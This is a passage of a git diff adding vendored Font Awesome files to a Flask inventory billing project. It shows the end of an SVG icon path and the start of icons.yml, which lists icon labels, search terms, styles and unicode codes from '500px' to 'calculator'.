2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z" + } + }, + "free": [ + "brands" + ] + } +} \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.yml b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.yml new file mode 100644 index 00000000..9a17b04a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/metadata/icons.yml @@ -0,0 +1,21780 @@ +500px: + changes: + - '4.4' + - 5.0.0 + label: 500px + search: + terms: [] + styles: + - brands + unicode: f26e + voted: false +accessible-icon: + changes: + - 5.0.0 + label: Accessible Icon + search: + terms: + - accessibility + - handicap + - person + - wheelchair + - wheelchair-alt + styles: + - brands + unicode: f368 + voted: false +accusoft: + changes: + - 5.0.0 + label: Accusoft + search: + terms: [] + styles: + - brands + unicode: f369 + voted: false +acquisitions-incorporated: + changes: + - 5.4.0 + - 5.8.0 + label: Acquisitions Incorporated + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - game + - gaming + - tabletop + styles: + - brands + unicode: f6af + voted: false +ad: + changes: + - 5.3.0 + - 5.10.2 + label: Ad + search: + terms: + - advertisement + - media + - newspaper + - promotion + - publicity + styles: + - solid + unicode: f641 + voted: false +address-book: + changes: + - '4.7' + - 5.0.0 + - 5.0.3 + label: Address Book + search: + terms: + - contact + - directory + - index + - little black book + - rolodex + styles: + - solid + - regular + unicode: f2b9 + voted: false +address-card: + changes: + - '4.7' + - 5.0.0 + - 5.0.3 + label: Address Card + search: + terms: + - about + - contact + - id + - identification + - postcard + - profile + styles: + - solid + - regular + unicode: f2bb + voted: false +adjust: + changes: + - '1' + - 5.0.0 + - 5.10.2 + - 5.11.0 + label: adjust + search: + terms: + - contrast + - dark + - light + - saturation + styles: + - solid + unicode: f042 + voted: false +adn: + changes: + - '3.2' + - 5.0.0 + label: App.net + search: + terms: [] + styles: + - brands + unicode: f170 + voted: false +adversal: + changes: + - 5.0.0 + label: Adversal + search: + terms: [] + styles: + - brands + unicode: f36a + voted: false +affiliatetheme: + changes: + - 5.0.0 + label: affiliatetheme + search: + terms: [] + styles: + - brands + unicode: f36b + voted: false +air-freshener: + changes: + - 5.2.0 + - 5.15.3 + label: Air Freshener + search: + terms: + - car + - deodorize + - fresh + - pine + - scent + styles: + - solid + unicode: f5d0 + voted: false +airbnb: + changes: + - 5.8.0 + label: Airbnb + search: + terms: [] + styles: + - brands + unicode: f834 +algolia: + changes: + - 5.0.0 + label: Algolia + search: + terms: [] + styles: + - brands + unicode: f36c + voted: false +align-center: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: align-center + search: + terms: + - format + - middle + - paragraph + - text + styles: + - solid + unicode: f037 + voted: false +align-justify: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: align-justify + search: + terms: + - format + - paragraph + - text + styles: + - solid + unicode: f039 + voted: false +align-left: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: align-left + search: + terms: + - format + - paragraph + - text + styles: + - solid + unicode: f036 + voted: false +align-right: + changes: + - '1' + - 5.0.0 + - 5.9.0 + label: align-right + search: + terms: + - format + - paragraph + - text + styles: + - solid + unicode: f038 + voted: false +alipay: + changes: + - 5.3.0 + label: Alipay + search: + terms: [] + styles: + - brands + unicode: f642 + voted: false +allergies: + changes: + - 5.0.7 + label: Allergies + search: + terms: + - allergy + - freckles + - hand + - hives + - pox + - skin + - spots + styles: + - solid + unicode: f461 + voted: false +amazon: + changes: + - '4.4' + - 5.0.0 + label: Amazon + search: + terms: [] + styles: + - brands + unicode: f270 + voted: false +amazon-pay: + changes: + - 5.0.2 + - 5.8.0 + label: Amazon Pay + search: + terms: [] + styles: + - brands + unicode: f42c + voted: false +ambulance: + changes: + - '3' + - 5.0.0 + - 5.0.7 + label: ambulance + search: + terms: + - covid-19 + - emergency + - emt + - er + - help + - hospital + - support + - vehicle + styles: + - solid + unicode: f0f9 + voted: false +american-sign-language-interpreting: + changes: + - '4.6' + - 5.0.0 + label: American Sign Language Interpreting + search: + terms: + - asl + - deaf + - finger + - hand + - interpret + - speak + styles: + - solid + unicode: f2a3 + voted: false +amilia: + changes: + - 5.0.0 + label: Amilia + search: + terms: [] + styles: + - brands + unicode: f36d + voted: false +anchor: + changes: + - '3.1' + - 5.0.0 + - 5.11.0 + label: Anchor + search: + terms: + - berth + - boat + - dock + - embed + - link + - maritime + - moor + - secure + styles: + - solid + unicode: f13d + voted: false +android: + changes: + - '3.2' + - 5.0.0 + - 5.12.0 + label: Android + search: + terms: + - robot + styles: + - brands + unicode: f17b + voted: false +angellist: + changes: + - '4.2' + - 5.0.0 + label: AngelList + search: + terms: [] + styles: + - brands + unicode: f209 + voted: false +angle-double-down: + changes: + - '3' + - 5.0.0 + label: Angle Double Down + search: + terms: + - arrows + - caret + - download + - expand + styles: + - solid + unicode: f103 + voted: false +angle-double-left: + changes: + - '3' + - 5.0.0 + label: Angle Double Left + search: + terms: + - arrows + - back + - caret + - laquo + - previous + - quote + styles: + - solid + unicode: f100 + voted: false +angle-double-right: + changes: + - '3' + - 5.0.0 + label: Angle Double Right + search: + terms: + - arrows + - caret + - forward + - more + - next + - quote + - raquo + styles: + - solid + unicode: f101 + voted: false +angle-double-up: + changes: + - '3' + - 5.0.0 + label: Angle Double Up + search: + terms: + - arrows + - caret + - collapse + - upload + styles: + - solid + unicode: f102 + voted: false +angle-down: + changes: + - '3' + - 5.0.0 + label: angle-down + search: + terms: + - arrow + - caret + - download + - expand + styles: + - solid + unicode: f107 + voted: false +angle-left: + changes: + - '3' + - 5.0.0 + - 5.11.0 + label: angle-left + search: + terms: + - arrow + - back + - caret + - less + - previous + styles: + - solid + unicode: f104 + voted: false +angle-right: + changes: + - '3' + - 5.0.0 + - 5.11.0 + label: angle-right + search: + terms: + - arrow + - care + - forward + - more + - next + styles: + - solid + unicode: f105 + voted: false +angle-up: + changes: + - '3' + - 5.0.0 + label: angle-up + search: + terms: + - arrow + - caret + - collapse + - upload + styles: + - solid + unicode: f106 + voted: false +angry: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Angry Face + search: + terms: + - disapprove + - emoticon + - face + - mad + - upset + styles: + - solid + - regular + unicode: f556 + voted: false +angrycreative: + changes: + - 5.0.0 + label: Angry Creative + search: + terms: [] + styles: + - brands + unicode: f36e + voted: false +angular: + changes: + - 5.0.0 + - 5.8.0 + label: Angular + search: + terms: [] + styles: + - brands + unicode: f420 + voted: false +ankh: + changes: + - 5.3.0 + label: Ankh + search: + terms: + - amulet + - copper + - coptic christianity + - copts + - crux ansata + - egypt + - venus + styles: + - solid + unicode: f644 + voted: false +app-store: + changes: + - 5.0.0 + label: App Store + search: + terms: [] + styles: + - brands + unicode: f36f + voted: false +app-store-ios: + changes: + - 5.0.0 + label: iOS App Store + search: + terms: [] + styles: + - brands + unicode: f370 + voted: false +apper: + changes: + - 5.0.0 + label: Apper Systems AB + search: + terms: [] + styles: + - brands + unicode: f371 + voted: false +apple: + changes: + - '3.2' + - 5.0.0 + - 5.0.7 + - 5.8.0 + label: Apple + search: + terms: + - fruit + - ios + - mac + - operating system + - os + - osx + styles: + - brands + unicode: f179 + voted: false +apple-alt: + changes: + - 5.2.0 + label: Fruit Apple + search: + terms: + - fall + - fruit + - fuji + - macintosh + - orchard + - seasonal + - vegan + styles: + - solid + unicode: f5d1 + voted: false +apple-pay: + changes: + - 5.0.0 + label: Apple Pay + search: + terms: [] + styles: + - brands + unicode: f415 + voted: true +archive: + changes: + - '3.2' + - 5.0.0 + - 5.0.9 + label: Archive + search: + terms: + - box + - package + - save + - storage + styles: + - solid + unicode: f187 + voted: false +archway: + changes: + - 5.1.0 + label: Archway + search: + terms: + - arc + - monument + - road + - street + - tunnel + styles: + - solid + unicode: f557 + voted: false +arrow-alt-circle-down: + changes: + - 5.0.0 + label: Alternate Arrow Circle Down + search: + terms: + - arrow-circle-o-down + - download + styles: + - solid + - regular + unicode: f358 + voted: false +arrow-alt-circle-left: + changes: + - 5.0.0 + label: Alternate Arrow Circle Left + search: + terms: + - arrow-circle-o-left + - back + - previous + styles: + - solid + - regular + unicode: f359 + voted: false +arrow-alt-circle-right: + changes: + - 5.0.0 + label: Alternate Arrow Circle Right + search: + terms: + - arrow-circle-o-right + - forward + - next + styles: + - solid + - regular + unicode: f35a + voted: false +arrow-alt-circle-up: + changes: + - 5.0.0 + label: Alternate Arrow Circle Up + search: + terms: + - arrow-circle-o-up + styles: + - solid + - regular + unicode: f35b + voted: false +arrow-circle-down: + changes: + - '2' + - 5.0.0 + label: Arrow Circle Down + search: + terms: + - download + styles: + - solid + unicode: f0ab + voted: false +arrow-circle-left: + changes: + - '2' + - 5.0.0 + label: Arrow Circle Left + search: + terms: + - back + - previous + styles: + - solid + unicode: f0a8 + voted: false +arrow-circle-right: + changes: + - '2' + - 5.0.0 + label: Arrow Circle Right + search: + terms: + - forward + - next + styles: + - solid + unicode: f0a9 + voted: false +arrow-circle-up: + changes: + - '2' + - 5.0.0 + label: Arrow Circle Up + search: + terms: + - upload + styles: + - solid + unicode: f0aa + voted: false +arrow-down: + changes: + - '1' + - 5.0.0 + label: arrow-down + search: + terms: + - download + styles: + - solid + unicode: f063 + voted: false +arrow-left: + changes: + - '1' + - 5.0.0 + label: arrow-left + search: + terms: + - back + - previous + styles: + - solid + unicode: f060 + voted: false +arrow-right: + changes: + - '1' + - 5.0.0 + label: arrow-right + search: + terms: + - forward + - next + styles: + - solid + unicode: f061 + voted: false +arrow-up: + changes: + - '1' + - 5.0.0 + label: arrow-up + search: + terms: + - forward + - upload + styles: + - solid + unicode: f062 + voted: false +arrows-alt: + changes: + - '2' + - 5.0.0 + label: Alternate Arrows + search: + terms: + - arrow + - arrows + - bigger + - enlarge + - expand + - fullscreen + - move + - position + - reorder + - resize + styles: + - solid + unicode: f0b2 + voted: false +arrows-alt-h: + changes: + - 5.0.0 + label: Alternate Arrows Horizontal + search: + terms: + - arrows-h + - expand + - horizontal + - landscape + - resize + - wide + styles: + - solid + unicode: f337 + voted: false +arrows-alt-v: + changes: + - 5.0.0 + - 5.11.0 + label: Alternate Arrows Vertical + search: + terms: + - arrows-v + - expand + - portrait + - resize + - tall + - vertical + styles: + - solid + unicode: f338 + voted: false +artstation: + changes: + - 5.6.0 + - 5.8.0 + label: Artstation + search: + terms: [] + styles: + - brands + unicode: f77a + voted: true +assistive-listening-systems: + changes: + - '4.6' + - 5.0.0 + label: Assistive Listening Systems + search: + terms: + - amplify + - audio + - deaf + - ear + - headset + - hearing + - sound + styles: + - solid + unicode: f2a2 + voted: false +asterisk: + changes: + - '1' + - 5.0.0 + label: asterisk + search: + terms: + - annotation + - details + - reference + - star + styles: + - solid + unicode: f069 + voted: false +asymmetrik: + changes: + - 5.0.0 + label: 'Asymmetrik, Ltd.' + search: + terms: [] + styles: + - brands + unicode: f372 + voted: false +at: + changes: + - '4.2' + - 5.0.0 + label: At + search: + terms: + - address + - author + - e-mail + - email + - handle + styles: + - solid + unicode: f1fa + voted: false +atlas: + changes: + - 5.1.0 + label: Atlas + search: + terms: + - book + - directions + - geography + - globe + - map + - travel + - wayfinding + styles: + - solid + unicode: f558 + voted: false +atlassian: + changes: + - 5.6.0 + label: Atlassian + search: + terms: [] + styles: + - brands + unicode: f77b + voted: true +atom: + changes: + - 5.2.0 + - 5.12.0 + label: Atom + search: + terms: + - atheism + - chemistry + - electron + - ion + - isotope + - neutron + - nuclear + - proton + - science + styles: + - solid + unicode: f5d2 + voted: false +audible: + changes: + - 5.0.0 + label: Audible + search: + terms: [] + styles: + - brands + unicode: f373 + voted: false +audio-description: + changes: + - '4.6' + - 5.0.0 + - 5.10.2 + label: Audio Description + search: + terms: + - blind + - narration + - video + - visual + styles: + - solid + unicode: f29e + voted: false +autoprefixer: + changes: + - 5.0.0 + label: Autoprefixer + search: + terms: [] + styles: + - brands + unicode: f41c + voted: false +avianex: + changes: + - 5.0.0 + label: avianex + search: + terms: [] + styles: + - brands + unicode: f374 + voted: false +aviato: + changes: + - 5.0.0 + label: Aviato + search: + terms: [] + styles: + - brands + unicode: f421 + voted: false +award: + changes: + - 5.1.0 + - 5.2.0 + - 5.10.2 + label: Award + search: + terms: + - honor + - praise + - prize + - recognition + - ribbon + - trophy + styles: + - solid + unicode: f559 + voted: true +aws: + changes: + - 5.0.0 + - 5.1.0 + label: Amazon Web Services (AWS) + search: + terms: [] + styles: + - brands + unicode: f375 + voted: false +baby: + changes: + - 5.6.0 + - 5.10.1 + label: Baby + search: + terms: + - child + - diaper + - doll + - human + - infant + - kid + - offspring + - person + - sprout + styles: + - solid + unicode: f77c + voted: true +baby-carriage: + changes: + - 5.6.0 + label: Baby Carriage + search: + terms: + - buggy + - carrier + - infant + - push + - stroller + - transportation + - walk + - wheels + styles: + - solid + unicode: f77d + voted: true +backspace: + changes: + - 5.1.0 + label: Backspace + search: + terms: + - command + - delete + - erase + - keyboard + - undo + styles: + - solid + unicode: f55a + voted: true +backward: + changes: + - '1' + - 5.0.0 + label: backward + search: + terms: + - previous + - rewind + styles: + - solid + unicode: f04a + voted: false +bacon: + changes: + - 5.7.0 + label: Bacon + search: + terms: + - blt + - breakfast + - ham + - lard + - meat + - pancetta + - pork + - rasher + styles: + - solid + unicode: f7e5 + voted: false +bacteria: + changes: + - 5.13.0 + - 5.13.1 + - 5.14.0 + label: Bacteria + search: + terms: + - antibiotic + - antibody + - covid-19 + - health + - organism + - sick + styles: + - solid + unicode: e059 + voted: false +bacterium: + changes: + - 5.13.0 + - 5.13.1 + - 5.14.0 + label: Bacterium + search: + terms: + - antibiotic + - antibody + - covid-19 + - health + - organism + - sick + styles: + - solid + unicode: e05a + voted: false +bahai: + changes: + - 5.3.0 + - 5.12.0 + label: Bahá'í + search: + terms: + - bahai + - bahá'í + - star + styles: + - solid + unicode: f666 + voted: false +balance-scale: + changes: + - '4.4' + - 5.0.0 + - 5.0.13 + label: Balance Scale + search: + terms: + - balanced + - justice + - legal + - measure + - weight + styles: + - solid + unicode: f24e + voted: false +balance-scale-left: + changes: + - 5.0.13 + - 5.9.0 + - 5.12.0 + label: Balance Scale (Left-Weighted) + search: + terms: + - justice + - legal + - measure + - unbalanced + - weight + styles: + - solid + unicode: f515 + voted: true +balance-scale-right: + changes: + - 5.0.13 + - 5.9.0 + - 5.12.0 + label: Balance Scale (Right-Weighted) + search: + terms: + - justice + - legal + - measure + - unbalanced + - weight + styles: + - solid + unicode: f516 + voted: true +ban: + changes: + - '1' + - 5.0.0 + label: ban + search: + terms: + - abort + - ban + - block + - cancel + - delete + - hide + - prohibit + - remove + - stop + - trash + styles: + - solid + unicode: f05e + voted: false +band-aid: + changes: + - 5.0.7 + - 5.10.2 + label: Band-Aid + search: + terms: + - bandage + - boo boo + - first aid + - ouch + styles: + - solid + unicode: f462 + voted: false +bandcamp: + changes: + - '4.7' + - 5.0.0 + - 5.13.1 + label: Bandcamp + search: + terms: [] + styles: + - brands + unicode: f2d5 + voted: false +barcode: + changes: + - '1' + - 5.0.0 + label: barcode + search: + terms: + - info + - laser + - price + - scan + - upc + styles: + - solid + unicode: f02a + voted: false +bars: + changes: + - '2' + - 5.0.0 + label: Bars + search: + terms: + - checklist + - drag + - hamburger + - list + - menu + - nav + - navigation + - ol + - reorder + - settings + - todo + - ul + styles: + - solid + unicode: f0c9 + voted: false +baseball-ball: + changes: + - 5.0.5 + - 5.11.0 + - 5.11.1 + label: Baseball Ball + search: + terms: + - foul + - hardball + - league + - leather + - mlb + - softball + - sport + styles: + - solid + unicode: f433 + voted: false +basketball-ball: + changes: + - 5.0.5 + - 5.11.0 + - 5.11.1 + label: Basketball Ball + search: + terms: + - dribble + - dunk + - hoop + - nba + styles: + - solid + unicode: f434 + voted: false +bath: + changes: + - '4.7' + - 5.0.0 + - 5.12.0 + label: Bath + search: + terms: + - clean + - shower + - tub + - wash + styles: + - solid + unicode: f2cd + voted: false +battery-empty: + changes: + - '4.4' + - 5.0.0 + label: Battery Empty + search: + terms: + - charge + - dead + - power + - status + styles: + - solid + unicode: f244 + voted: false +battery-full: + changes: + - '4.4' + - 5.0.0 + label: Battery Full + search: + terms: + - charge + - power + - status + styles: + - solid + unicode: f240 + voted: false +battery-half: + changes: + - '4.4' + - 5.0.0 + label: Battery 1/2 Full + search: + terms: + - charge + - power + - status + styles: + - solid + unicode: f242 + voted: false +battery-quarter: + changes: + - '4.4' + - 5.0.0 + label: Battery 1/4 Full + search: + terms: + - charge + - low + - power + - status + styles: + - solid + unicode: f243 + voted: false +battery-three-quarters: + changes: + - '4.4' + - 5.0.0 + label: Battery 3/4 Full + search: + terms: + - charge + - power + - status + styles: + - solid + unicode: f241 + voted: false +battle-net: + changes: + - 5.8.0 + label: Battle.net + search: + terms: [] + styles: + - brands + unicode: f835 +bed: + changes: + - '4.3' + - 5.0.0 + - 5.1.0 + label: Bed + search: + terms: + - lodging + - mattress + - rest + - sleep + - travel + styles: + - solid + unicode: f236 + voted: false +beer: + changes: + - '3' + - 5.0.0 + label: beer + search: + terms: + - alcohol + - ale + - bar + - beverage + - brewery + - drink + - lager + - liquor + - mug + - stein + styles: + - solid + unicode: f0fc + voted: false +behance: + changes: + - '4.1' + - 5.0.0 + label: Behance + search: + terms: [] + styles: + - brands + unicode: f1b4 + voted: false +behance-square: + changes: + - '4.1' + - 5.0.0 + - 5.0.3 + label: Behance Square + search: + terms: [] + styles: + - brands + unicode: f1b5 + voted: false +bell: + changes: + - '2' + - 5.0.0 + - 5.2.0 + - 5.11.0 + label: bell + search: + terms: + - alarm + - alert + - chime + - notification + - reminder + styles: + - solid + - regular + unicode: f0f3 + voted: false +bell-slash: + changes: + - '4.2' + - 5.0.0 + - 5.2.0 + label: Bell Slash + search: + terms: + - alert + - cancel + - disabled + - notification + - 'off' + - reminder + styles: + - solid + - regular + unicode: f1f6 + voted: false +bezier-curve: + changes: + - 5.1.0 + label: Bezier Curve + search: + terms: + - curves + - illustrator + - lines + - path + - vector + styles: + - solid + unicode: f55b + voted: false +bible: + changes: + - 5.3.0 + label: Bible + search: + terms: + - book + - catholicism + - christianity + - god + - holy + styles: + - solid + unicode: f647 + voted: false +bicycle: + changes: + - '4.2' + - 5.0.0 + label: Bicycle + search: + terms: + - bike + - gears + - pedal + - transportation + - vehicle + styles: + - solid + unicode: f206 + voted: false +biking: + changes: + - 5.9.0 + label: Biking + search: + terms: + - bicycle + - bike + - cycle + - cycling + - ride + - wheel + styles: + - solid + unicode: f84a + voted: false +bimobject: + changes: + - 5.0.0 + label: BIMobject + search: + terms: [] + styles: + - brands + unicode: f378 + voted: false +binoculars: + changes: + - '4.2' + - 5.0.0 + - 5.2.0 + label: Binoculars + search: + terms: + - glasses + - magnify + - scenic + - spyglass + - view + styles: + - solid + unicode: f1e5 + voted: false +biohazard: + changes: + - 5.6.0 + - 5.7.0 + label: Biohazard + search: + terms: + - covid-19 + - danger + - dangerous + - hazmat + - medical + - radioactive + - toxic + - waste + - zombie + styles: + - solid + unicode: f780 + voted: true +birthday-cake: + changes: + - '4.2' + - 5.0.0 + label: Birthday Cake + search: + terms: + - anniversary + - bakery + - candles + - celebration + - dessert + - frosting + - holiday + - party + - pastry + styles: + - solid + unicode: f1fd + voted: false +bitbucket: + changes: + - '3.2' + - 5.0.0 + - 5.6.0 + - 5.8.0 + label: Bitbucket + search: + terms: + - atlassian + - bitbucket-square + - git + styles: + - brands + unicode: f171 + voted: false +bitcoin: + changes: + - 5.0.0 + label: Bitcoin + search: + terms: [] + styles: + - brands + unicode: f379 + voted: false +bity: + changes: + - 5.0.0 + label: Bity + search: + terms: [] + styles: + - brands + unicode: f37a + voted: false +black-tie: + changes: + - '4.4' + - 5.0.0 + label: Font Awesome Black Tie + search: + terms: [] + styles: + - brands + unicode: f27e + voted: false +blackberry: + changes: + - 5.0.0 + label: BlackBerry + search: + terms: [] + styles: + - brands + unicode: f37b + voted: false +blender: + changes: + - 5.0.13 + label: Blender + search: + terms: + - cocktail + - milkshake + - mixer + - puree + - smoothie + styles: + - solid + unicode: f517 + voted: false +blender-phone: + changes: + - 5.4.0 + label: Blender Phone + search: + terms: + - appliance + - cocktail + - communication + - fantasy + - milkshake + - mixer + - puree + - silly + - smoothie + styles: + - solid + unicode: f6b6 + voted: false +blind: + changes: + - '4.6' + - 5.0.0 + - 5.11.0 + label: Blind + search: + terms: + - cane + - disability + - person + - sight + styles: + - solid + unicode: f29d + voted: false +blog: + changes: + - 5.6.0 + label: Blog + search: + terms: + - journal + - log + - online + - personal + - post + - web 2.0 + - wordpress + - writing + styles: + - solid + unicode: f781 + voted: true +blogger: + changes: + - 5.0.0 + label: Blogger + search: + terms: [] + styles: + - brands + unicode: f37c + voted: false +blogger-b: + changes: + - 5.0.0 + label: Blogger B + search: + terms: [] + styles: + - brands + unicode: f37d + voted: false +bluetooth: + changes: + - '4.5' + - 5.0.0 + label: Bluetooth + search: + terms: [] + styles: + - brands + unicode: f293 + voted: false +bluetooth-b: + changes: + - '4.5' + - 5.0.0 + label: Bluetooth + search: + terms: [] + styles: + - brands + unicode: f294 + voted: false +bold: + changes: + - '1' + - 5.0.0 + - 5.9.0 + - 5.10.2 + label: bold + search: + terms: + - emphasis + - format + - text + styles: + - solid + unicode: f032 + voted: false +bolt: + changes: + - '2' + - 5.0.0 + - 5.5.0 + label: Lightning Bolt + search: + terms: + - electricity + - lightning + - weather + - zap + styles: + - solid + unicode: f0e7 + voted: false +bomb: + changes: + - '4.1' + - 5.0.0 + label: Bomb + search: + terms: + - error + - explode + - fuse + - grenade + - warning + styles: + - solid + unicode: f1e2 + voted: false +bone: + changes: + - 5.2.0 + label: Bone + search: + terms: + - calcium + - dog + - skeletal + - skeleton + - tibia + styles: + - solid + unicode: f5d7 + voted: false +bong: + changes: + - 5.1.0 + label: Bong + search: + terms: + - aparatus + - cannabis + - marijuana + - pipe + - smoke + - smoking + styles: + - solid + unicode: f55c + voted: false +book: + changes: + - '1' + - 5.0.0 + label: book + search: + terms: + - diary + - documentation + - journal + - library + - read + styles: + - solid + unicode: f02d + voted: false +book-dead: + changes: + - 5.4.0 + label: Book of the Dead + search: + terms: + - Dungeons & Dragons + - crossbones + - d&d + - dark arts + - death + - dnd + - documentation + - evil + - fantasy + - halloween + - holiday + - necronomicon + - read + - skull + - spell + styles: + - solid + unicode: f6b7 + voted: false +book-medical: + changes: + - 5.7.0 + label: Medical Book + search: + terms: + - diary + - documentation + - health + - history + - journal + - library + - read + - record + styles: + - solid + unicode: f7e6 + voted: false +book-open: + changes: + - 5.0.13 + - 5.1.0 + - 5.2.0 + label: Book Open + search: + terms: + - flyer + - library + - notebook + - open book + - pamphlet + - reading + styles: + - solid + unicode: f518 + voted: true +book-reader: + changes: + - 5.2.0 + label: Book Reader + search: + terms: + - flyer + - library + - notebook + - open book + - pamphlet + - reading + styles: + - solid + unicode: f5da + voted: false +bookmark: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: bookmark + search: + terms: + - favorite + - marker + - read + - remember + - save + styles: + - solid + - regular + unicode: f02e + voted: false +bootstrap: + changes: + - 5.8.0 + - 5.15.4 + label: Bootstrap + search: + terms: [] + styles: + - brands + unicode: f836 +border-all: + changes: + - 5.9.0 + label: Border All + search: + terms: + - cell + - grid + - outline + - stroke + - table + styles: + - solid + unicode: f84c + voted: false +border-none: + changes: + - 5.9.0 + label: Border None + search: + terms: + - cell + - grid + - outline + - stroke + - table + styles: + - solid + unicode: f850 + voted: false +border-style: + changes: + - 5.9.0 + label: Border Style + search: + terms: [] + styles: + - solid + unicode: f853 + voted: false +bowling-ball: + changes: + - 5.0.5 + - 5.11.0 + - 5.11.1 + label: Bowling Ball + search: + terms: + - alley + - candlepin + - gutter + - lane + - strike + - tenpin + styles: + - solid + unicode: f436 + voted: false +box: + changes: + - 5.0.7 + label: Box + search: + terms: + - archive + - container + - package + - storage + styles: + - solid + unicode: f466 + voted: false +box-open: + changes: + - 5.0.9 + - 5.7.0 + label: Box Open + search: + terms: + - archive + - container + - package + - storage + - unpack + styles: + - solid + unicode: f49e + voted: false +box-tissue: + changes: + - 5.13.0 + - 5.14.0 + label: Tissue Box + search: + terms: + - cough + - covid-19 + - kleenex + - mucus + - nose + - sneeze + - snot + styles: + - solid + unicode: e05b + voted: false +boxes: + changes: + - 5.0.7 + label: Boxes + search: + terms: + - archives + - inventory + - storage + - warehouse + styles: + - solid + unicode: f468 + voted: false +braille: + changes: + - '4.6' + - 5.0.0 + label: Braille + search: + terms: + - alphabet + - blind + - dots + - raised + - vision + styles: + - solid + unicode: f2a1 + voted: false +brain: + changes: + - 5.2.0 + - 5.9.0 + - 5.11.0 + label: Brain + search: + terms: + - cerebellum + - gray matter + - intellect + - medulla oblongata + - mind + - noodle + - wit + styles: + - solid + unicode: f5dc + voted: false +bread-slice: + changes: + - 5.7.0 + label: Bread Slice + search: + terms: + - bake + - bakery + - baking + - dough + - flour + - gluten + - grain + - sandwich + - sourdough + - toast + - wheat + - yeast + styles: + - solid + unicode: f7ec + voted: false +briefcase: + changes: + - '2' + - 5.0.0 + - 5.3.0 + label: Briefcase + search: + terms: + - bag + - business + - luggage + - office + - work + styles: + - solid + unicode: f0b1 + voted: false +briefcase-medical: + changes: + - 5.0.7 + label: Medical Briefcase + search: + terms: + - doctor + - emt + - first aid + - health + styles: + - solid + unicode: f469 + voted: false +broadcast-tower: + changes: + - 5.0.13 + label: Broadcast Tower + search: + terms: + - airwaves + - antenna + - radio + - reception + - waves + styles: + - solid + unicode: f519 + voted: true +broom: + changes: + - 5.0.13 + label: Broom + search: + terms: + - clean + - firebolt + - fly + - halloween + - nimbus 2000 + - quidditch + - sweep + - witch + styles: + - solid + unicode: f51a + voted: true +brush: + changes: + - 5.1.0 + label: Brush + search: + terms: + - art + - bristles + - color + - handle + - paint + styles: + - solid + unicode: f55d + voted: false +btc: + changes: + - '3.2' + - 5.0.0 + label: BTC + search: + terms: [] + styles: + - brands + unicode: f15a + voted: false +buffer: + changes: + - 5.8.0 + label: Buffer + search: + terms: [] + styles: + - brands + unicode: f837 +bug: + changes: + - '3.2' + - 5.0.0 + - 5.15.4 + label: Bug + search: + terms: + - beetle + - error + - insect + - report + styles: + - solid + unicode: f188 + voted: false +building: + changes: + - '4.1' + - 5.0.0 + label: Building + search: + terms: + - apartment + - business + - city + - company + - office + - work + styles: + - solid + - regular + unicode: f1ad + voted: false +bullhorn: + changes: + - '2' + - 5.0.0 + - 5.3.0 + label: bullhorn + search: + terms: + - announcement + - broadcast + - louder + - megaphone + - share + styles: + - solid + unicode: f0a1 + voted: false +bullseye: + changes: + - '3.1' + - 5.0.0 + - 5.3.0 + - 5.10.1 + - 5.15.4 + label: Bullseye + search: + terms: + - archery + - goal + - objective + - target + styles: + - solid + unicode: f140 + voted: false +burn: + changes: + - 5.0.7 + label: Burn + search: + terms: + - caliente + - energy + - fire + - flame + - gas + - heat + - hot + styles: + - solid + unicode: f46a + voted: false +buromobelexperte: + changes: + - 5.0.0 + label: Büromöbel-Experte GmbH & Co. KG. + search: + terms: [] + styles: + - brands + unicode: f37f + voted: false +bus: + changes: + - '4.2' + - 5.0.0 + - 5.1.0 + label: Bus + search: + terms: + - public transportation + - transportation + - travel + - vehicle + styles: + - solid + unicode: f207 + voted: false +bus-alt: + changes: + - 5.1.0 + label: Bus Alt + search: + terms: + - mta + - public transportation + - transportation + - travel + - vehicle + styles: + - solid + unicode: f55e + voted: false +business-time: + changes: + - 5.3.0 + label: Business Time + search: + terms: + - alarm + - briefcase + - business socks + - clock + - flight of the conchords + - reminder + - wednesday + styles: + - solid + unicode: f64a + voted: false +buy-n-large: + changes: + - 5.11.0 + label: Buy n Large + search: + terms: [] + styles: + - brands + unicode: f8a6 +buysellads: + changes: + - '4.3' + - 5.0.0 + label: BuySellAds + search: + terms: [] + styles: + - brands + unicode: f20d + voted: false +calculator: + changes: + - '4.2' + - 5.0.0 + - 